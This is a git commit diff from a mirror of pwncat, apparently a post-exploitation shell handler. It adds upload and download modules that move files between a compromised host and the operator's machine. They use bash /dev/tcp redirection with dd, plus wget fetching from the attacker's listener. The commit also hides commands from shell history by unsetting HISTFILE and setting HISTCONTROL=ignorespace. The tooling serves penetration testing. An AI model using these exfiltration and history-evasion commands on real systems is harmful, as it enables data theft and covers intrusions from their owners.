1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Added bashtcp uploader/downloader and wget uploader

This commit is contained in:
Caleb Stewart 2020-05-08 02:24:51 -04:00
commit cc3de93b67
9 changed files with 113 additions and 20 deletions

View File

@ -5,8 +5,16 @@ from pwncat.downloader.base import Downloader, DownloadError
from pwncat.downloader.nc import NetcatDownloader
from pwncat.downloader.curl import CurlDownloader
from pwncat.downloader.shell import ShellDownloader
from pwncat.downloader.wget import WgetDownloader
from pwncat.downloader.bashtcp import BashTCPDownloader
all_downloaders = [NetcatDownloader, CurlDownloader, ShellDownloader]
all_downloaders = [
NetcatDownloader,
CurlDownloader,
WgetDownloader,
ShellDownloader,
BashTCPDownloader,
]
downloaders = [NetcatDownloader, CurlDownloader]
fallback = ShellDownloader

View File

@ -80,6 +80,9 @@ class HttpPostFileReceiver(BaseHTTPRequestHandler):
copied += len(block)
self.on_progress(copied, len(block))
def do_POST(self):
return self.do_PUT()
def log_message(self, *args, **kwargs):
return

View File

@ -0,0 +1,23 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.downloader.base import RawDownloader, DownloadError
class BashTCPDownloader(RawDownloader):
NAME = "bashtcp"
BINARIES = ["bash", "dd"]
def command(self) -> Generator[str, None, None]:
""" Generate the curl command to post the file """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
remote_path = shlex.quote(self.remote_path)
self.pty.run(
f"""bash -c "dd if={remote_path} > /dev/tcp/{lhost}/{lport}" """,
wait=False,
)

View File

@ -158,6 +158,7 @@ class PtyHandler:
self.lhost = None
self.known_binaries = {}
self.vars = {"lhost": util.get_ip_addr()}
self.remote_prefix = "\\[\\033[01;31m\\](remote)\\033[00m\\]"
self.remote_prompt = "\\[\\033[01;32m\\]\\u@\\h\\[\\033[00m\\]:\\[\\033[01;34m\\]\\w\\[\\033[00m\\]\\$"
self.prompt = self.build_prompt_session()
self.binary_aliases = {
@ -177,9 +178,9 @@ class PtyHandler:
self.setup_command_parsers()
# We should always get a response within 3 seconds...
self.client.settimeout(3)
self.client.settimeout(1)
util.info("probing for prompt...", overlay=False)
util.info("probing for prompt...", overlay=True)
start = time.time()
prompt = b""
try:
@ -227,10 +228,10 @@ class PtyHandler:
# Ensure history is disabled
util.info("disabling remote command history", overlay=True)
self.run("unset HISTFILE")
self.run("unset HISTFILE; export HISTCONTROL=ignorespace")
util.info("setting terminal prompt", overlay=True)
self.run(f'export PS1="(remote) {self.remote_prompt} "')
self.run(f'export PS1="{self.remote_prefix} $PS1"')
# Locate interesting binaries
# The auto-resolving doesn't work correctly until we have a pty
@ -273,11 +274,11 @@ class PtyHandler:
self.has_prompt = True
util.info("setting terminal prompt", overlay=True)
self.run(f'export PS1="(remote) {self.remote_prompt} "')
self.run(f'export PS1="{self.remote_prefix} $PS1"')
# Make sure HISTFILE is unset in this PTY (it resets when a pty is
# opened)
self.run("unset HISTFILE")
self.run("unset HISTFILE; export HISTCONTROL=ignorespace")
# Synchronize the terminals
util.info("synchronizing terminal state", overlay=True)
@ -319,7 +320,11 @@ class PtyHandler:
}
return PromptSession(
[("", "(local) "), ("#ff0000", "pwncat"), ("", "$ ")],
[
("fg:ansiyellow bold", "(local) "),
("fg:ansimagenta bold", "pwncat"),
("", "$ "),
],
completer=CommandCompleter(completer_graph),
auto_suggest=AutoSuggestFromHistory(),
)
@ -410,10 +415,15 @@ class PtyHandler:
self.enter_raw()
continue
if len(line) > 0 and line[0] == "!":
# Allow running shell commands
subprocess.run(line[1:], shell=True)
continue
if len(line) > 0:
if line[0] == "!":
# Allow running shell commands
subprocess.run(line[1:], shell=True)
continue
elif line[0] == "@":
result = self.run(line[1:])
sys.stdout.buffer.write(result)
continue
argv = shlex.split(line)
@ -465,7 +475,7 @@ class PtyHandler:
with ProgressBar(
[("#888888", "downloading with "), ("fg:ansiyellow", f"{download.NAME}")]
) as pb:
counter = pb(range(os.path.getsize(path)))
counter = pb(range(size))
last_update = time.time()
def on_progress(copied, blocksz):
@ -550,9 +560,7 @@ class PtyHandler:
TERM = os.environ.get("TERM", "xterm")
columns, rows = os.get_terminal_size(0)
self.run(f"stty rows {rows}")
self.run(f"stty columns {columns}")
self.run(f'export TERM="{TERM}"')
self.run(f"stty rows {rows}; stty columns {columns}; export TERM='{TERM}'")
def do_set(self, argv):
""" Set or view the currently assigned variables """
@ -600,7 +608,7 @@ class PtyHandler:
EOL = b"\r" if has_pty else b"\n"
if wait:
command = f"echo _PWNCAT_DELIM_; {cmd}; echo _PWNCAT_DELIM_"
command = f" echo _PWNCAT_DELIM_; {cmd}; echo _PWNCAT_DELIM_"
else:
command = cmd

View File

@ -5,8 +5,16 @@ from pwncat.uploader.base import Uploader, UploadError
from pwncat.uploader.nc import NetcatUploader
from pwncat.uploader.curl import CurlUploader
from pwncat.uploader.shell import ShellUploader
from pwncat.uploader.bashtcp import BashTCPUploader
from pwncat.uploader.wget import WgetUploader
all_uploaders = [NetcatUploader, CurlUploader, ShellUploader]
all_uploaders = [
NetcatUploader,
CurlUploader,
ShellUploader,
BashTCPUploader,
WgetUploader,
]
uploaders = [NetcatUploader, CurlUploader]
fallback = ShellUploader

View File

@ -5,6 +5,7 @@ from socketserver import TCPServer, BaseRequestHandler
from functools import partial
import threading
import socket
import os
from pwncat import util
@ -96,7 +97,7 @@ class HTTPUploader(Uploader):
def serve(self, on_progress: Callable):
self.server = HTTPServer(
("0.0.0.0", 0),
partial(HttpGetFileHandler, downloader=self, on_progress=on_progress),
partial(HttpGetFileHandler, uploader=self, on_progress=on_progress),
)
thread = threading.Thread(

View File

@ -0,0 +1,22 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.uploader.base import RawUploader
class BashTCPUploader(RawUploader):
NAME = "bashtcp"
BINARIES = ["bash", "dd"]
def command(self) -> Generator[str, None, None]:
""" Generate the curl command to post the file """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
remote_path = shlex.quote(self.remote_path)
self.pty.run(
f"""bash -c "dd of={remote_path} < /dev/tcp/{lhost}/{lport}" """, wait=False
)

20
pwncat/uploader/wget.py Normal file
View File

@ -0,0 +1,20 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.uploader.base import HTTPUploader
class WgetUploader(HTTPUploader):
NAME = "wget"
BINARIES = ["wget"]
def command(self) -> Generator[str, None, None]:
""" Generate the curl command to post the file """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
remote_path = shlex.quote(self.remote_path)
self.pty.run(f"wget -O {remote_path} http://{lhost}:{lport}", wait=False)

View File

@ -56,7 +56,7 @@ def enter_raw_mode():
"""
info("setting terminal to raw mode and disabling echo", overlay=True)
success("pwncat is ready\n", overlay=True)
success("pwncat is ready 🐈\n", overlay=True)
# Ensure we don't have any weird buffering issues
sys.stdout.flush()